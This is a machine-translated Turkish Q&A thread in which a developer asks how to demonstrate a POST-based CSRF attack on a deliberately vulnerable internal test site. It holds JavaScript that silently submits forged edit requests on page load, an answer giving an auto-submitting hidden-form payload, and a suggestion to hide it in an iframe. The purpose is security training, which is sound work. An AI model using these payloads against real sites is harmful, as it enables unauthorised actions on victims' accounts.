2011-07-25 11 views
15

göstermek ve daha fazla etkiye sahip bazı örnek göstermek istiyorum nasıl.Bizim kuruluştaki diğer bazı kişilere web güvenliği bir giriş yapıyorum bir CSRF saldırısı

Bunun için ben bu saldırıya karşı savunmasız olan küçük bir web sitesi oluşturduk, bu web sitesi sadece bizim ağda erişilebilir olacaktır.

Şimdi bu saldırıyı yararlanmaya çalışıyorum, ama bir sorum var:

nasıl bir POST formu ile bunu yapmak?

Bunu bir GET sorgusuyla yapmakta sorun yok, ancak POST ile, javascript ile yapmaya çalışıyorum, kodumu aynı ana bilgisayarda barındırıyorsam sorun değil, ancak ana bilgisayarımı barındırmak istersem Daha gerçekçi olması için başka bir ana bilgisayara kod, çapraz etki alanı isteği olduğundan engellenirim.

Peki nasıl bu POST değişkenler göndermek gerekir?

Teşekkür ederiz!

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> 
<html> 
<head> 
<title>CSRF attack demo</title> 
<script type="text/javascript"> 
function getHTTPObject() { 
     var http = false; 
     //Use IE's ActiveX items to load the file. 
     if(typeof ActiveXObject != 'undefined') { 
      try {http = new ActiveXObject("Msxml2.XMLHTTP");} 
      catch (e) { 
       try {http = new ActiveXObject("Microsoft.XMLHTTP");} 
       catch (E) {http = false;} 
      } 
     //If ActiveX is not available, use the XMLHttpRequest of Firefox/Mozilla etc. to load the document. 
     } else if (window.XMLHttpRequest) { 
      try {http = new XMLHttpRequest();} 
      catch (e) {http = false;} 
     } 
     return http; 
    } 
function post_to_url(path, params, method) { 
    method = method || "post"; // Set method to post by default, if not specified. 

    // The rest of this code assumes you are not using a library. 
    // It can be made less wordy if you use one. 
    var form = document.createElement("form"); 
    form.setAttribute("method", method); 
    form.setAttribute("action", path); 

    for(var key in params) { 
     var hiddenField = document.createElement("input"); 
     hiddenField.setAttribute("type", "hidden"); 
     hiddenField.setAttribute("name", key); 
     hiddenField.setAttribute("value", params[key]); 

     form.appendChild(hiddenField); 
    } 

    document.body.appendChild(form); 
    form.submit(); 
} 

function postToUrlBackground(path, params){ 
    var http = getHTTPObject(); 

    http.open("POST", path, true); 

    //Send the proper header information along with the request 
    http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 
    http.setRequestHeader("Content-length", params.length); 
    http.setRequestHeader("Connection", "close"); 

    http.onreadystatechange = function() {//Call a function when the state changes. 
     if(http.readyState == 4 && http.status == 200) { 
      //alert("Response received"); 
     } 
    } 
    http.send(params); 
} 
function TryAttack(){ 
    //alert("Sending"); 
    postToUrlBackground("http://localhost:51612/Movie/Edit/1", "Title=%28500%29This+item+has+been+changed+without+any+rights&Year=2009&OriginalTitle=%28500%29+DAYS+OF+SUMMERS&Duration=5700&IDMC=500+JOURS+ENSEMBLE"); 
    //postToUrlBackground("http://localhost:51612/Movie/Edit/1","Title=%28500%29+JOURS+ENSEMBLE&Year=2009&OriginalTitle=%28500%29+DAYS+OF+SUMMERS&Duration=5700&IDMC=500+JOURS+ENSEMBLE" ); 
    //alert("sent"); 
} 
</script> 
</head> 
<body onload="TryAttack()"> 
<img src=image.png /> 
</body> 
</html> 

cevap

22

sadece action yöntemle POST ile FORM oluşturmak için savunmasız uygulaması (yani form gönderildiğinde nerede) 'dir. Sonra bu sayfada javascript ile gönderin. Bunun gibi

: Söz konusu sayfayı açtığınızda

<html><body> 

    <form name="csrf_form" action="http://VULNERABLE_APP/csrf.php" method="POST"> 
    <input type="hidden" name="csrf_param" value="POST_ATTACK"> 
    </form> 

    <script type="text/javascript">document.csrf_form.submit();</script> 
</body></html> 

Bu, saldırganın ana bilgisayardan sizin savunmasız uygulamanıza bir POST sunacaktır.

+2

, standart bir mesaj formu içeriği @Nickz – J4N

+1

Büyük çalışır :) Ben bir iframe + htaccess ile kümülat :) – J4N

+0

Vay, bu açığı test etmek benim için çok faydalı oldu. Saldırgan son noktanın beklediği verileri bilirse, onlar da vardır. Beklenen form değerlerini bildiğimden bunu hızlı bir şekilde gösterebildim. Engellemek için sahteciliğe karşı jetonlar kullanacaktır. Çok takdir edildi. –

10

Aşağıdaki makaleler ve örnekler, bir CSRF saldırısı demo yardımcı olacaktır:

İşte benim şimdiki kodudur.

http://www.troyhunt.com/2010/11/owasp-top-10-for-net-developers-part-5.html

CSRF önleme

https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet

Ve Stackoverflow bu soru. "Diğer konak" (saldırgan) Açık Basic cookie & CSRF question

+2

ben ilk linke bir göz attım (Zaten başka iki okuyun). Sorun şu ki, bağlantınızda bir web servisi kullanıyor. Sonra çapraz site-talebi sorunu değil. Ama u için 1 Tamam gördüğüm – J4N

+0

süper kullanmak ettik, Ve kullanıcı bunun yönlendirildi görmüyor böyle bir iframe içinde bu koymak? – ScoRpion

İlgili konular